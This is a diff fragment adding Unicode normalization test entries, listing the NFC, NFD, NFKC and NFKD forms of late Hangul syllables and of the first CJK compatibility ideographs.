+{ source: [0xD75F], NFC: [0xD75F], NFD: [0x1112, 0x1173, 0x11B6], NFKC: [0xD75F], NFKD: [0x1112, 0x1173, 0x11B6] },
+{ source: [0xD760], NFC: [0xD760], NFD: [0x1112, 0x1173, 0x11B7], NFKC: [0xD760], NFKD: [0x1112, 0x1173, 0x11B7] },
+{ source: [0xD761], NFC: [0xD761], NFD: [0x1112, 0x1173, 0x11B8], NFKC: [0xD761], NFKD: [0x1112, 0x1173, 0x11B8] },
+{ source: [0xD762], NFC: [0xD762], NFD: [0x1112, 0x1173, 0x11B9], NFKC: [0xD762], NFKD: [0x1112, 0x1173, 0x11B9] },
+{ source: [0xD763], NFC: [0xD763], NFD: [0x1112, 0x1173, 0x11BA], NFKC: [0xD763], NFKD: [0x1112, 0x1173, 0x11BA] },
+{ source: [0xD764], NFC: [0xD764], NFD: [0x1112, 0x1173, 0x11BB], NFKC: [0xD764], NFKD: [0x1112, 0x1173, 0x11BB] },
+{ source: [0xD765], NFC: [0xD765], NFD: [0x1112, 0x1173, 0x11BC], NFKC: [0xD765], NFKD: [0x1112, 0x1173, 0x11BC] },
+{ source: [0xD766], NFC: [0xD766], NFD: [0x1112, 0x1173, 0x11BD], NFKC: [0xD766], NFKD: [0x1112, 0x1173, 0x11BD] },
+{ source: [0xD767], NFC: [0xD767], NFD: [0x1112, 0x1173, 0x11BE], NFKC: [0xD767], NFKD: [0x1112, 0x1173, 0x11BE] },
+{ source: [0xD768], NFC: [0xD768], NFD: [0x1112, 0x1173, 0x11BF], NFKC: [0xD768], NFKD: [0x1112, 0x1173, 0x11BF] },
+{ source: [0xD769], NFC: [0xD769], NFD: [0x1112, 0x1173, 0x11C0], NFKC: [0xD769], NFKD: [0x1112, 0x1173, 0x11C0] },
+{ source: [0xD76A], NFC: [0xD76A], NFD: [0x1112, 0x1173, 0x11C1], NFKC: [0xD76A], NFKD: [0x1112, 0x1173, 0x11C1] },
+{ source: [0xD76B], NFC: [0xD76B], NFD: [0x1112, 0x1173, 0x11C2], NFKC: [0xD76B], NFKD: [0x1112, 0x1173, 0x11C2] },
+{ source: [0xD76C], NFC: [0xD76C], NFD: [0x1112, 0x1174], NFKC: [0xD76C], NFKD: [0x1112, 0x1174] },
+{ source: [0xD76D], NFC: [0xD76D], NFD: [0x1112, 0x1174, 0x11A8], NFKC: [0xD76D], NFKD: [0x1112, 0x1174, 0x11A8] },
+{ source: [0xD76E], NFC: [0xD76E], NFD: [0x1112, 0x1174, 0x11A9], NFKC: [0xD76E], NFKD: [0x1112, 0x1174, 0x11A9] },
+{ source: [0xD76F], NFC: [0xD76F], NFD: [0x1112, 0x1174, 0x11AA], NFKC: [0xD76F], NFKD: [0x1112, 0x1174, 0x11AA] },
+{ source: [0xD770], NFC: [0xD770], NFD: [0x1112, 0x1174, 0x11AB], NFKC: [0xD770], NFKD: [0x1112, 0x1174, 0x11AB] },
+{ source: [0xD771], NFC: [0xD771], NFD: [0x1112, 0x1174, 0x11AC], NFKC: [0xD771], NFKD: [0x1112, 0x1174, 0x11AC] },
+{ source: [0xD772], NFC: [0xD772], NFD: [0x1112, 0x1174, 0x11AD], NFKC: [0xD772], NFKD: [0x1112, 0x1174, 0x11AD] },
+{ source: [0xD773], NFC: [0xD773], NFD: [0x1112, 0x1174, 0x11AE], NFKC: [0xD773], NFKD: [0x1112, 0x1174, 0x11AE] },
+{ source: [0xD774], NFC: [0xD774], NFD: [0x1112, 0x1174, 0x11AF], NFKC: [0xD774], NFKD: [0x1112, 0x1174, 0x11AF] },
+{ source: [0xD775], NFC: [0xD775], NFD: [0x1112, 0x1174, 0x11B0], NFKC: [0xD775], NFKD: [0x1112, 0x1174, 0x11B0] },
+{ source: [0xD776], NFC: [0xD776], NFD: [0x1112, 0x1174, 0x11B1], NFKC: [0xD776], NFKD: [0x1112, 0x1174, 0x11B1] },
+{ source: [0xD777], NFC: [0xD777], NFD: [0x1112, 0x1174, 0x11B2], NFKC: [0xD777], NFKD: [0x1112, 0x1174, 0x11B2] },
+{ source: [0xD778], NFC: [0xD778], NFD: [0x1112, 0x1174, 0x11B3], NFKC: [0xD778], NFKD: [0x1112, 0x1174, 0x11B3] },
+{ source: [0xD779], NFC: [0xD779], NFD: [0x1112, 0x1174, 0x11B4], NFKC: [0xD779], NFKD: [0x1112, 0x1174, 0x11B4] },
+{ source: [0xD77A], NFC: [0xD77A], NFD: [0x1112, 0x1174, 0x11B5], NFKC: [0xD77A], NFKD: [0x1112, 0x1174, 0x11B5] },
+{ source: [0xD77B], NFC: [0xD77B], NFD: [0x1112, 0x1174, 0x11B6], NFKC: [0xD77B], NFKD: [0x1112, 0x1174, 0x11B6] },
+{ source: [0xD77C], NFC: [0xD77C], NFD: [0x1112, 0x1174, 0x11B7], NFKC: [0xD77C], NFKD: [0x1112, 0x1174, 0x11B7] },
+{ source: [0xD77D], NFC: [0xD77D], NFD: [0x1112, 0x1174, 0x11B8], NFKC: [0xD77D], NFKD: [0x1112, 0x1174, 0x11B8] },
+{ source: [0xD77E], NFC: [0xD77E], NFD: [0x1112, 0x1174, 0x11B9], NFKC: [0xD77E], NFKD: [0x1112, 0x1174, 0x11B9] },
+{ source: [0xD77F], NFC: [0xD77F], NFD: [0x1112, 0x1174, 0x11BA], NFKC: [0xD77F], NFKD: [0x1112, 0x1174, 0x11BA] },
+{ source: [0xD780], NFC: [0xD780], NFD: [0x1112, 0x1174, 0x11BB], NFKC: [0xD780], NFKD: [0x1112, 0x1174, 0x11BB] },
+{ source: [0xD781], NFC: [0xD781], NFD: [0x1112, 0x1174, 0x11BC], NFKC: [0xD781], NFKD: [0x1112, 0x1174, 0x11BC] },
+{ source: [0xD782], NFC: [0xD782], NFD: [0x1112, 0x1174, 0x11BD], NFKC: [0xD782], NFKD: [0x1112, 0x1174, 0x11BD] },
+{ source: [0xD783], NFC: [0xD783], NFD: [0x1112, 0x1174, 0x11BE], NFKC: [0xD783], NFKD: [0x1112, 0x1174, 0x11BE] },
+{ source: [0xD784], NFC: [0xD784], NFD: [0x1112, 0x1174, 0x11BF], NFKC: [0xD784], NFKD: [0x1112, 0x1174, 0x11BF] },
+{ source: [0xD785], NFC: [0xD785], NFD: [0x1112, 0x1174, 0x11C0], NFKC: [0xD785], NFKD: [0x1112, 0x1174, 0x11C0] },
+{ source: [0xD786], NFC: [0xD786], NFD: [0x1112, 0x1174, 0x11C1], NFKC: [0xD786], NFKD: [0x1112, 0x1174, 0x11C1] },
+{ source: [0xD787], NFC: [0xD787], NFD: [0x1112, 0x1174, 0x11C2], NFKC: [0xD787], NFKD: [0x1112, 0x1174, 0x11C2] },
+{ source: [0xD788], NFC: [0xD788], NFD: [0x1112, 0x1175], NFKC: [0xD788], NFKD: [0x1112, 0x1175] },
+{ source: [0xD789], NFC: [0xD789], NFD: [0x1112, 0x1175, 0x11A8], NFKC: [0xD789], NFKD: [0x1112, 0x1175, 0x11A8] },
+{ source: [0xD78A], NFC: [0xD78A], NFD: [0x1112, 0x1175, 0x11A9], NFKC: [0xD78A], NFKD: [0x1112, 0x1175, 0x11A9] },
+{ source: [0xD78B], NFC: [0xD78B], NFD: [0x1112, 0x1175, 0x11AA], NFKC: [0xD78B], NFKD: [0x1112, 0x1175, 0x11AA] },
+{ source: [0xD78C], NFC: [0xD78C], NFD: [0x1112, 0x1175, 0x11AB], NFKC: [0xD78C], NFKD: [0x1112, 0x1175, 0x11AB] },
+{ source: [0xD78D], NFC: [0xD78D], NFD: [0x1112, 0x1175, 0x11AC], NFKC: [0xD78D], NFKD: [0x1112, 0x1175, 0x11AC] },
+{ source: [0xD78E], NFC: [0xD78E], NFD: [0x1112, 0x1175, 0x11AD], NFKC: [0xD78E], NFKD: [0x1112, 0x1175, 0x11AD] },
+{ source: [0xD78F], NFC: [0xD78F], NFD: [0x1112, 0x1175, 0x11AE], NFKC: [0xD78F], NFKD: [0x1112, 0x1175, 0x11AE] },
+{ source: [0xD790], NFC: [0xD790], NFD: [0x1112, 0x1175, 0x11AF], NFKC: [0xD790], NFKD: [0x1112, 0x1175, 0x11AF] },
+{ source: [0xD791], NFC: [0xD791], NFD: [0x1112, 0x1175, 0x11B0], NFKC: [0xD791], NFKD: [0x1112, 0x1175, 0x11B0] },
+{ source: [0xD792], NFC: [0xD792], NFD: [0x1112, 0x1175, 0x11B1], NFKC: [0xD792], NFKD: [0x1112, 0x1175, 0x11B1] },
+{ source: [0xD793], NFC: [0xD793], NFD: [0x1112, 0x1175, 0x11B2], NFKC: [0xD793], NFKD: [0x1112, 0x1175, 0x11B2] },
+{ source: [0xD794], NFC: [0xD794], NFD: [0x1112, 0x1175, 0x11B3], NFKC: [0xD794], NFKD: [0x1112, 0x1175, 0x11B3] },
+{ source: [0xD795], NFC: [0xD795], NFD: [0x1112, 0x1175, 0x11B4], NFKC: [0xD795], NFKD: [0x1112, 0x1175, 0x11B4] },
+{ source: [0xD796], NFC: [0xD796], NFD: [0x1112, 0x1175, 0x11B5], NFKC: [0xD796], NFKD: [0x1112, 0x1175, 0x11B5] },
+{ source: [0xD797], NFC: [0xD797], NFD: [0x1112, 0x1175, 0x11B6], NFKC: [0xD797], NFKD: [0x1112, 0x1175, 0x11B6] },
+{ source: [0xD798], NFC: [0xD798], NFD: [0x1112, 0x1175, 0x11B7], NFKC: [0xD798], NFKD: [0x1112, 0x1175, 0x11B7] },
+{ source: [0xD799], NFC: [0xD799], NFD: [0x1112, 0x1175, 0x11B8], NFKC: [0xD799], NFKD: [0x1112, 0x1175, 0x11B8] },
+{ source: [0xD79A], NFC: [0xD79A], NFD: [0x1112, 0x1175, 0x11B9], NFKC: [0xD79A], NFKD: [0x1112, 0x1175, 0x11B9] },
+{ source: [0xD79B], NFC: [0xD79B], NFD: [0x1112, 0x1175, 0x11BA], NFKC: [0xD79B], NFKD: [0x1112, 0x1175, 0x11BA] },
+{ source: [0xD79C], NFC: [0xD79C], NFD: [0x1112, 0x1175, 0x11BB], NFKC: [0xD79C], NFKD: [0x1112, 0x1175, 0x11BB] },
+{ source: [0xD79D], NFC: [0xD79D], NFD: [0x1112, 0x1175, 0x11BC], NFKC: [0xD79D], NFKD: [0x1112, 0x1175, 0x11BC] },
+{ source: [0xD79E], NFC: [0xD79E], NFD: [0x1112, 0x1175, 0x11BD], NFKC: [0xD79E], NFKD: [0x1112, 0x1175, 0x11BD] },
+{ source: [0xD79F], NFC: [0xD79F], NFD: [0x1112, 0x1175, 0x11BE], NFKC: [0xD79F], NFKD: [0x1112, 0x1175, 0x11BE] },
+{ source: [0xD7A0], NFC: [0xD7A0], NFD: [0x1112, 0x1175, 0x11BF], NFKC: [0xD7A0], NFKD: [0x1112, 0x1175, 0x11BF] },
+{ source: [0xD7A1], NFC: [0xD7A1], NFD: [0x1112, 0x1175, 0x11C0], NFKC: [0xD7A1], NFKD: [0x1112, 0x1175, 0x11C0] },
+{ source: [0xD7A2], NFC: [0xD7A2], NFD: [0x1112, 0x1175, 0x11C1], NFKC: [0xD7A2], NFKD: [0x1112, 0x1175, 0x11C1] },
+{ source: [0xD7A3], NFC: [0xD7A3], NFD: [0x1112, 0x1175, 0x11C2], NFKC: [0xD7A3], NFKD: [0x1112, 0x1175, 0x11C2] },
+{ source: [0xF900], NFC: [0x8C48], NFD: [0x8C48], NFKC: [0x8C48], NFKD: [0x8C48] },
+{ source: [0xF901], NFC: [0x66F4], NFD: [0x66F4], NFKC: [0x66F4], NFKD: [0x66F4] },
+{ source: [0xF902], NFC: [0x8ECA], NFD: [0x8ECA], NFKC: [0x8ECA], NFKD: [0x8ECA] },
+{ source: [0xF903], NFC: [0x8CC8], NFD: [0x8CC8], NFKC: [0x8CC8], NFKD: [0x8CC8] },
+{ source: [0xF904], NFC: [0x6ED1], NFD: [0x6ED1], NFKC: [0x6ED1], NFKD: [0x6ED1] },
+{ source: [0xF905], NFC: [0x4E32], NFD: [0x4E32], NFKC: [0x4E32], NFKD: [0x4E32] },
+{ source: [0xF906], NFC: [0x53E5], NFD: [0x53E5], NFKC: [0x53E5], NFKD: [0x53E5] },
+{ source: [0xF907], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xF908], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xF909], NFC: [0x5951], NFD: [0x5951], NFKC: [0x5951], NFKD: [0x5951] },
+{ source: [0xF90A], NFC: [0x91D1], NFD: [0x91D1], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0xF90B], NFC: [0x5587], NFD: [0x5587], NFKC: [0x5587], NFKD: [0x5587] },
+{ source: [0xF90C], NFC: [0x5948], NFD: [0x5948], NFKC: [0x5948], NFKD: [0x5948] },
+{ source: [0xF90D], NFC: [0x61F6], NFD: [0x61F6], NFKC: [0x61F6], NFKD: [0x61F6] },
+{ source: [0xF90E], NFC: [0x7669], NFD: [0x7669], NFKC: [0x7669], NFKD: [0x7669] },
+{ source: [0xF90F], NFC: [0x7F85], NFD: [0x7F85], NFKC: [0x7F85], NFKD: [0x7F85] },
+{ source: [0xF910], NFC: [0x863F], NFD: [0x863F], NFKC: [0x863F], NFKD: [0x863F] },
+{ source: [0xF911], NFC: [0x87BA], NFD: [0x87BA], NFKC: [0x87BA], NFKD: [0x87BA] },
+{ source: [0xF912], NFC: [0x88F8], NFD: [0x88F8], NFKC: [0x88F8], NFKD: [0x88F8] },
+{ source: [0xF913], NFC: [0x908F], NFD: [0x908F], NFKC: [0x908F], NFKD: [0x908F] },
+{ source: [0xF914], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF915], NFC: [0x6D1B], NFD: [0x6D1B], NFKC: [0x6D1B], NFKD: [0x6D1B] },
+{ source: [0xF916], NFC: [0x70D9], NFD: [0x70D9], NFKC: [0x70D9], NFKD: [0x70D9] },
+{ source: [0xF917], NFC: [0x73DE], NFD: [0x73DE], NFKC: [0x73DE], NFKD: [0x73DE] },
+{ source: [0xF918], NFC: [0x843D], NFD: [0x843D], NFKC: [0x843D], NFKD: [0x843D] },
+{ source: [0xF919], NFC: [0x916A], NFD: [0x916A], NFKC: [0x916A], NFKD: [0x916A] },
+{ source: [0xF91A], NFC: [0x99F1], NFD: [0x99F1], NFKC: [0x99F1], NFKD: [0x99F1] },
+{ source: [0xF91B], NFC: [0x4E82], NFD: [0x4E82], NFKC: [0x4E82], NFKD: [0x4E82] },
+{ source: [0xF91C], NFC: [0x5375], NFD: [0x5375], NFKC: [0x5375], NFKD: [0x5375] },
+{ source: [0xF91D], NFC: [0x6B04], NFD: [0x6B04], NFKC: [0x6B04], NFKD: [0x6B04] },
+{ source: [0xF91E], NFC: [0x721B], NFD: [0x721B], NFKC: [0x721B], NFKD: [0x721B] },
+{ source: [0xF91F], NFC: [0x862D], NFD: [0x862D], NFKC: [0x862D], NFKD: [0x862D] },
+{ source: [0xF920], NFC: [0x9E1E], NFD: [0x9E1E], NFKC: [0x9E1E], NFKD: [0x9E1E] },
+{ source: [0xF921], NFC: [0x5D50], NFD: [0x5D50], NFKC: [0x5D50], NFKD: [0x5D50] },
+{ source: [0xF922], NFC: [0x6FEB], NFD: [0x6FEB], NFKC: [0x6FEB], NFKD: [0x6FEB] },
+{ source: [0xF923], NFC: [0x85CD], NFD: [0x85CD], NFKC: [0x85CD], NFKD: [0x85CD] },
+{ source: [0xF924], NFC: [0x8964], NFD: [0x8964], NFKC: [0x8964], NFKD: [0x8964] },
+{ source: [0xF925], NFC: [0x62C9], NFD: [0x62C9], NFKC: [0x62C9], NFKD: [0x62C9] },
+{ source: [0xF926], NFC: [0x81D8], NFD: [0x81D8], NFKC: [0x81D8], NFKD: [0x81D8] },
+{ source: [0xF927], NFC: [0x881F], NFD: [0x881F], NFKC: [0x881F], NFKD: [0x881F] },
+{ source: [0xF928], NFC: [0x5ECA], NFD: [0x5ECA], NFKC: [0x5ECA], NFKD: [0x5ECA] },
+{ source: [0xF929], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0xF92A], NFC: [0x6D6A], NFD: [0x6D6A], NFKC: [0x6D6A], NFKD: [0x6D6A] },
+{ source: [0xF92B], NFC: [0x72FC], NFD: [0x72FC], NFKC: [0x72FC], NFKD: [0x72FC] },
+{ source: [0xF92C], NFC: [0x90CE], NFD: [0x90CE], NFKC: [0x90CE], NFKD: [0x90CE] },
+{ source: [0xF92D], NFC: [0x4F86], NFD: [0x4F86], NFKC: [0x4F86], NFKD: [0x4F86] },
+{ source: [0xF92E], NFC: [0x51B7], NFD: [0x51B7], NFKC: [0x51B7], NFKD: [0x51B7] },
+{ source: [0xF92F], NFC: [0x52DE], NFD: [0x52DE], NFKC: [0x52DE], NFKD: [0x52DE] },
+{ source: [0xF930], NFC: [0x64C4], NFD: [0x64C4], NFKC: [0x64C4], NFKD: [0x64C4] },
+{ source: [0xF931], NFC: [0x6AD3], NFD: [0x6AD3], NFKC: [0x6AD3], NFKD: [0x6AD3] },
+{ source: [0xF932], NFC: [0x7210], NFD: [0x7210], NFKC: [0x7210], NFKD: [0x7210] },
+{ source: [0xF933], NFC: [0x76E7], NFD: [0x76E7], NFKC: [0x76E7], NFKD: [0x76E7] },
+{ source: [0xF934], NFC: [0x8001], NFD: [0x8001], NFKC: [0x8001], NFKD: [0x8001] },
+{ source: [0xF935], NFC: [0x8606], NFD: [0x8606], NFKC: [0x8606], NFKD: [0x8606] },
+{ source: [0xF936], NFC: [0x865C], NFD: [0x865C], NFKC: [0x865C], NFKD: [0x865C] },
+{ source: [0xF937], NFC: [0x8DEF], NFD: [0x8DEF], NFKC: [0x8DEF], NFKD: [0x8DEF] },
+{ source: [0xF938], NFC: [0x9732], NFD: [0x9732], NFKC: [0x9732], NFKD: [0x9732] },
+{ source: [0xF939], NFC: [0x9B6F], NFD: [0x9B6F], NFKC: [0x9B6F], NFKD: [0x9B6F] },
+{ source: [0xF93A], NFC: [0x9DFA], NFD: [0x9DFA], NFKC: [0x9DFA], NFKD: [0x9DFA] },
+{ source: [0xF93B], NFC: [0x788C], NFD: [0x788C], NFKC: [0x788C], NFKD: [0x788C] },
+{ source: [0xF93C], NFC: [0x797F], NFD: [0x797F], NFKC: [0x797F], NFKD: [0x797F] },
+{ source: [0xF93D], NFC: [0x7DA0], NFD: [0x7DA0], NFKC: [0x7DA0], NFKD: [0x7DA0] },
+{ source: [0xF93E], NFC: [0x83C9], NFD: [0x83C9], NFKC: [0x83C9], NFKD: [0x83C9] },
+{ source: [0xF93F], NFC: [0x9304], NFD: [0x9304], NFKC: [0x9304], NFKD: [0x9304] },
+{ source: [0xF940], NFC: [0x9E7F], NFD: [0x9E7F], NFKC: [0x9E7F], NFKD: [0x9E7F] },
+{ source: [0xF941], NFC: [0x8AD6], NFD: [0x8AD6], NFKC: [0x8AD6], NFKD: [0x8AD6] },
+{ source: [0xF942], NFC: [0x58DF], NFD: [0x58DF], NFKC: [0x58DF], NFKD: [0x58DF] },
+{ source: [0xF943], NFC: [0x5F04], NFD: [0x5F04], NFKC: [0x5F04], NFKD: [0x5F04] },
+{ source: [0xF944], NFC: [0x7C60], NFD: [0x7C60], NFKC: [0x7C60], NFKD: [0x7C60] },
+{ source: [0xF945], NFC: [0x807E], NFD: [0x807E], NFKC: [0x807E], NFKD: [0x807E] },
+{ source: [0xF946], NFC: [0x7262], NFD: [0x7262], NFKC: [0x7262], NFKD: [0x7262] },
+{ source: [0xF947], NFC: [0x78CA], NFD: [0x78CA], NFKC: [0x78CA], NFKD: [0x78CA] },
+{ source: [0xF948], NFC: [0x8CC2], NFD: [0x8CC2], NFKC: [0x8CC2], NFKD: [0x8CC2] },
+{ source: [0xF949], NFC: [0x96F7], NFD: [0x96F7], NFKC: [0x96F7], NFKD: [0x96F7] },
+{ source: [0xF94A], NFC: [0x58D8], NFD: [0x58D8], NFKC: [0x58D8], NFKD: [0x58D8] },
+{ source: [0xF94B], NFC: [0x5C62], NFD: [0x5C62], NFKC: [0x5C62], NFKD: [0x5C62] },
+{ source: [0xF94C], NFC: [0x6A13], NFD: [0x6A13], NFKC: [0x6A13], NFKD: [0x6A13] },
+{ source: [0xF94D], NFC: [0x6DDA], NFD: [0x6DDA], NFKC: [0x6DDA], NFKD: [0x6DDA] },
+{ source: [0xF94E], NFC: [0x6F0F], NFD: [0x6F0F], NFKC: [0x6F0F], NFKD: [0x6F0F] },
+{ source: [0xF94F], NFC: [0x7D2F], NFD: [0x7D2F], NFKC: [0x7D2F], NFKD: [0x7D2F] },
+{ source: [0xF950], NFC: [0x7E37], NFD: [0x7E37], NFKC: [0x7E37], NFKD: [0x7E37] },
+{ source: [0xF951], NFC: [0x964B], NFD: [0x964B], NFKC: [0x964B], NFKD: [0x964B] },
+{ source: [0xF952], NFC: [0x52D2], NFD: [0x52D2], NFKC: [0x52D2], NFKD: [0x52D2] },
+{ source: [0xF953], NFC: [0x808B], NFD: [0x808B], NFKC: [0x808B], NFKD: [0x808B] },
+{ source: [0xF954], NFC: [0x51DC], NFD: [0x51DC], NFKC: [0x51DC], NFKD: [0x51DC] },
+{ source: [0xF955], NFC: [0x51CC], NFD: [0x51CC], NFKC: [0x51CC], NFKD: [0x51CC] },
+{ source: [0xF956], NFC: [0x7A1C], NFD: [0x7A1C], NFKC: [0x7A1C], NFKD: [0x7A1C] },
+{ source: [0xF957], NFC: [0x7DBE], NFD: [0x7DBE], NFKC: [0x7DBE], NFKD: [0x7DBE] },
+{ source: [0xF958], NFC: [0x83F1], NFD: [0x83F1], NFKC: [0x83F1], NFKD: [0x83F1] },
+{ source: [0xF959], NFC: [0x9675], NFD: [0x9675], NFKC: [0x9675], NFKD: [0x9675] },
+{ source: [0xF95A], NFC: [0x8B80], NFD: [0x8B80], NFKC: [0x8B80], NFKD: [0x8B80] },
+{ source: [0xF95B], NFC: [0x62CF], NFD: [0x62CF], NFKC: [0x62CF], NFKD: [0x62CF] },
+{ source: [0xF95C], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF95D], NFC: [0x8AFE], NFD: [0x8AFE], NFKC: [0x8AFE], NFKD: [0x8AFE] },
+{ source: [0xF95E], NFC: [0x4E39], NFD: [0x4E39], NFKC: [0x4E39], NFKD: [0x4E39] },
+{ source: [0xF95F], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0xF960], NFC: [0x6012], NFD: [0x6012], NFKC: [0x6012], NFKD: [0x6012] },
+{ source: [0xF961], NFC: [0x7387], NFD: [0x7387], NFKC: [0x7387], NFKD: [0x7387] },
+{ source: [0xF962], NFC: [0x7570], NFD: [0x7570], NFKC: [0x7570], NFKD: [0x7570] },
+{ source: [0xF963], NFC: [0x5317], NFD: [0x5317], NFKC: [0x5317], NFKD: [0x5317] },
+{ source: [0xF964], NFC: [0x78FB], NFD: [0x78FB], NFKC: [0x78FB], NFKD: [0x78FB] },
+{ source: [0xF965], NFC: [0x4FBF], NFD: [0x4FBF], NFKC: [0x4FBF], NFKD: [0x4FBF] },
+{ source: [0xF966], NFC: [0x5FA9], NFD: [0x5FA9], NFKC: [0x5FA9], NFKD: [0x5FA9] },
+{ source: [0xF967], NFC: [0x4E0D], NFD: [0x4E0D], NFKC: [0x4E0D], NFKD: [0x4E0D] },
+{ source: [0xF968], NFC: [0x6CCC], NFD: [0x6CCC], NFKC: [0x6CCC], NFKD: [0x6CCC] },
+{ source: [0xF969], NFC: [0x6578], NFD: [0x6578], NFKC: [0x6578], NFKD: [0x6578] },
+{ source: [0xF96A], NFC: [0x7D22], NFD: [0x7D22], NFKC: [0x7D22], NFKD: [0x7D22] },
+{ source: [0xF96B], NFC: [0x53C3], NFD: [0x53C3], NFKC: [0x53C3], NFKD: [0x53C3] },
+{ source: [0xF96C], NFC: [0x585E], NFD: [0x585E], NFKC: [0x585E], NFKD: [0x585E] },
+{ source: [0xF96D], NFC: [0x7701], NFD: [0x7701], NFKC: [0x7701], NFKD: [0x7701] },
+{ source: [0xF96E], NFC: [0x8449], NFD: [0x8449], NFKC: [0x8449], NFKD: [0x8449] },
+{ source: [0xF96F], NFC: [0x8AAA], NFD: [0x8AAA], NFKC: [0x8AAA], NFKD: [0x8AAA] },
+{ source: [0xF970], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0xF971], NFC: [0x8FB0], NFD: [0x8FB0], NFKC: [0x8FB0], NFKD: [0x8FB0] },
+{ source: [0xF972], NFC: [0x6C88], NFD: [0x6C88], NFKC: [0x6C88], NFKD: [0x6C88] },
+{ source: [0xF973], NFC: [0x62FE], NFD: [0x62FE], NFKC: [0x62FE], NFKD: [0x62FE] },
+{ source: [0xF974], NFC: [0x82E5], NFD: [0x82E5], NFKC: [0x82E5], NFKD: [0x82E5] },
+{ source: [0xF975], NFC: [0x63A0], NFD: [0x63A0], NFKC: [0x63A0], NFKD: [0x63A0] },
+{ source: [0xF976], NFC: [0x7565], NFD: [0x7565], NFKC: [0x7565], NFKD: [0x7565] },
+{ source: [0xF977], NFC: [0x4EAE], NFD: [0x4EAE], NFKC: [0x4EAE], NFKD: [0x4EAE] },
+{ source: [0xF978], NFC: [0x5169], NFD: [0x5169], NFKC: [0x5169], NFKD: [0x5169] },
+{ source: [0xF979], NFC: [0x51C9], NFD: [0x51C9], NFKC: [0x51C9], NFKD: [0x51C9] },
+{ source: [0xF97A], NFC: [0x6881], NFD: [0x6881], NFKC: [0x6881], NFKD: [0x6881] },
+{ source: [0xF97B], NFC: [0x7CE7], NFD: [0x7CE7], NFKC: [0x7CE7], NFKD: [0x7CE7] },
+{ source: [0xF97C], NFC: [0x826F], NFD: [0x826F], NFKC: [0x826F], NFKD: [0x826F] },
+{ source: [0xF97D], NFC: [0x8AD2], NFD: [0x8AD2], NFKC: [0x8AD2], NFKD: [0x8AD2] },
+{ source: [0xF97E], NFC: [0x91CF], NFD: [0x91CF], NFKC: [0x91CF], NFKD: [0x91CF] },
+{ source: [0xF97F], NFC: [0x52F5], NFD: [0x52F5], NFKC: [0x52F5], NFKD: [0x52F5] },
+{ source: [0xF980], NFC: [0x5442], NFD: [0x5442], NFKC: [0x5442], NFKD: [0x5442] },
+{ source: [0xF981], NFC: [0x5973], NFD: [0x5973], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0xF982], NFC: [0x5EEC], NFD: [0x5EEC], NFKC: [0x5EEC], NFKD: [0x5EEC] },
+{ source: [0xF983], NFC: [0x65C5], NFD: [0x65C5], NFKC: [0x65C5], NFKD: [0x65C5] },
+{ source: [0xF984], NFC: [0x6FFE], NFD: [0x6FFE], NFKC: [0x6FFE], NFKD: [0x6FFE] },
+{ source: [0xF985], NFC: [0x792A], NFD: [0x792A], NFKC: [0x792A], NFKD: [0x792A] },
+{ source: [0xF986], NFC: [0x95AD], NFD: [0x95AD], NFKC: [0x95AD], NFKD: [0x95AD] },
+{ source: [0xF987], NFC: [0x9A6A], NFD: [0x9A6A], NFKC: [0x9A6A], NFKD: [0x9A6A] },
+{ source: [0xF988], NFC: [0x9E97], NFD: [0x9E97], NFKC: [0x9E97], NFKD: [0x9E97] },
+{ source: [0xF989], NFC: [0x9ECE], NFD: [0x9ECE], NFKC: [0x9ECE], NFKD: [0x9ECE] },
+{ source: [0xF98A], NFC: [0x529B], NFD: [0x529B], NFKC: [0x529B], NFKD: [0x529B] },
+{ source: [0xF98B], NFC: [0x66C6], NFD: [0x66C6], NFKC: [0x66C6], NFKD: [0x66C6] },
+{ source: [0xF98C], NFC: [0x6B77], NFD: [0x6B77], NFKC: [0x6B77], NFKD: [0x6B77] },
+{ source: [0xF98D], NFC: [0x8F62], NFD: [0x8F62], NFKC: [0x8F62], NFKD: [0x8F62] },
+{ source: [0xF98E], NFC: [0x5E74], NFD: [0x5E74], NFKC: [0x5E74], NFKD: [0x5E74] },
+{ source: [0xF98F], NFC: [0x6190], NFD: [0x6190], NFKC: [0x6190], NFKD: [0x6190] },
+{ source: [0xF990], NFC: [0x6200], NFD: [0x6200], NFKC: [0x6200], NFKD: [0x6200] },
+{ source: [0xF991], NFC: [0x649A], NFD: [0x649A], NFKC: [0x649A], NFKD: [0x649A] },
+{ source: [0xF992], NFC: [0x6F23], NFD: [0x6F23], NFKC: [0x6F23], NFKD: [0x6F23] },
+{ source: [0xF993], NFC: [0x7149], NFD: [0x7149], NFKC: [0x7149], NFKD: [0x7149] },
+{ source: [0xF994], NFC: [0x7489], NFD: [0x7489], NFKC: [0x7489], NFKD: [0x7489] },
+{ source: [0xF995], NFC: [0x79CA], NFD: [0x79CA], NFKC: [0x79CA], NFKD: [0x79CA] },
+{ source: [0xF996], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xF997], NFC: [0x806F], NFD: [0x806F], NFKC: [0x806F], NFKD: [0x806F] },
+{ source: [0xF998], NFC: [0x8F26], NFD: [0x8F26], NFKC: [0x8F26], NFKD: [0x8F26] },
+{ source: [0xF999], NFC: [0x84EE], NFD: [0x84EE], NFKC: [0x84EE], NFKD: [0x84EE] },
+{ source: [0xF99A], NFC: [0x9023], NFD: [0x9023], NFKC: [0x9023], NFKD: [0x9023] },
+{ source: [0xF99B], NFC: [0x934A], NFD: [0x934A], NFKC: [0x934A], NFKD: [0x934A] },
+{ source: [0xF99C], NFC: [0x5217], NFD: [0x5217], NFKC: [0x5217], NFKD: [0x5217] },
+{ source: [0xF99D], NFC: [0x52A3], NFD: [0x52A3], NFKC: [0x52A3], NFKD: [0x52A3] },
